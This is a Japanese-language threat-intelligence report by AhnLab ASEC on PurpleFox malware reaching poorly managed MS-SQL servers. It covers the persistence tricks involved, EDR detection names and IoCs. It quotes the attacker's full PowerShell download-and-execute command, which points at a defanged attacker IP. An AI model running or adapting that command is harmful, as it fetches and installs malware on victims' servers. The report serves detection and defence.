AhnLab Security Emergency response Center (ASEC)は ASD(AhnLab Smart Defense)インフラを通じて最近、不適切に管理されている MS-SQL サーバーを対象に PurpleFox マルウェアがインストールされていることを確認した。PurpleFox マルウェアはさらなるマルウェアをダウンロードするローダーの役割を担っており、主にコインマイナーマルウェアをインストールすることで知られている。マルウェアの機能には自身を隠すルートキットの機能も含まれており、特に注意が必要である。
今回確認された PurpleFox マルウェアの初期侵入方式は、不適切に管理されている MS-SQL サーバーを対象に攻撃が行われた。攻撃者は以下[図1]のように MS-SQL サーバー関連プロセスである sqlservr.exe を通じて PowerShell を実行した。

- PowerShell コマンド : powershell.exe -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘hxxp://64.227.152[.]193:18336/57BC9B7E.Png’);MsiMake hxxp://64.227.152[.]193:18336/2E0ECB2F.Png”
上記の PowerShell コマンドが実行されると「hxxp://64.227.152[.]193:18336/57BC9B7E.Png」のアドレスから難読化された PowerShell をダウンロードしてロードする。ダウンロードされた PowerShell は以下の[図2]のように攻撃者が制作した関数である MsiMake を含んでいる。その後「hxxp://64.227.152[.]193:18336/2E0ECB2F.Png」のアドレスから MSI ファイルをダウンロードし、システムに MsiMake コマンドを実行して MSI ファイルをインストールする。
- 57BC9B7E.Png:難読化 PowerShell
- 2E0ECB2F.Png:PurpleFox (MSI ファイル)

57BC9B7E.Png ファイルは MSI ファイルのインストール機能に加え、スクリプト内部に権限昇格のための脆弱性実行ファイル、および PowerShell スクリプト(Invoke-Tater)と、これをファイルレス形式で実行するための PowerShell スクリプト(Invoke-ReflectivePEInjection)を含んでいる。結果、攻撃者は 57BC9B7E.Png の PowerShell コードによってユーザーの介入なしに不正な MSI ファイルを管理者権限でインストールできるようになる。
MSI ファイルは PurpleFox マルウェアのサービス権限の実行および持続性維持のためにレジストリキー変更を実行する。AhnLab EDR(Endpoint Detection & Response)では PurpleFox マルウェアの初期侵入段階(PowerShell による MSI ファイルのインストール)と権限昇格および持続性維持段階を検知しており、EDR 製品を運用しているセキュリティ担当者は検知ログをもとにマルウェア配布元の遮断等、攻撃者からの脅威を能動的に遮断できる。
[1] 初期侵入(Initial Access) & 実行(Execution)
攻撃者は不適切に管理されている MS-SQL サーバーにアクセスして sqlservr.exe プロセスを通じて PowerShell を実行した。AhnLab EDR では攻撃者が使用する疑わしい PowerShell コマンドを「Execution/MDP.Powershell.M10668」の検知名で検知している。

[2] 持続性の維持(Persistence) & 権限昇格(Privilege Escalation)
難読化された PowerShell が実行されると MSI ファイルのインストールを実行する。MSI パッケージファイルは持続性の維持および権限昇格のためのレジストリキー変更を実行するが、攻撃者が改ざんするレジストリキーは「HKLM\SYSTEM\CurrentControlSet\Control\Session Manager」キーの PendingFileRenameOperations の値である。

この手法を利用すると、特定ファイルの削除および名前変更のための予約タスクを実行できる。すなわち、攻撃者はこの手法を利用してマルウェア(setupact64.log)を正常なファイル名(sens.dll)に変更してシステムの再起動後、サービスとして動作させる。
* sens.dll は NetWork サービスグループで使用する正常な DLL ファイル名である。

このほかにも、MSI パッケージは netsh ユーティリティを利用して特定のポートに関する IPsec ポリシーを追加する。このポートはネットワーク上でシステム間のリソース共有のためのポート(135-RPC、139-NetBIOS、445-CIFS/SMB)であり、マルウェアがネットワーク接続時に利用する代表的な(脆弱な)ポートである。


レジストリキー変更およびポートポリシーを追加すると、MSI パッケージは再起動を試みる。再起動後は、SENS サービス(システムイベント通知サービス)が実行されてマルウェアが動作し、実行されたマルウェアはルートキットの実行およびセーフモードでの動作のためにさらなるサービスの登録タスクを実行する。

[3] 結論
EDR 製品を運用するセキュリティ担当者は、このように初期侵入から持続性維持、および権限昇格まで攻撃者が使用した手法を EDR を通して確認することができる。特に、攻撃者が企業内に侵入した方法を把握することができるため、これをもとに企業内部の脆弱なシステムを補完し、ひいては攻撃者からの脅威に能動的に対応することができる。
[IoC]
[MD5]
f725bab929df4fe2626849ba269b7fcb // MSI パッケージ
d88a9237dd21653ebb155b035aa9a33c // 難読化された PowerShell
[URL]
hxxp://64.227.152[.]193:18336/57BC9B7E.Png
hxxp://64.227.152[.]193:18336/2E0ECB2F.Png
[ファイル検知]
Dropper/MSI.Purplefox (2023.06.27.02)
Trojan/Powershell.Inject (2023.07.12.02)
[ビヘイビア検知]
Execution/MDP.Powershell.M2514
Execution/MDP.Powershell.M10668
振る舞い情報検知および解析を通じたエンドポイント可視性を提供し、脅威を能動的に追跡する AhnLab EDR についての詳しい情報は AhnLab の公式 HP で確認できる。
Categories:AhnLab 検知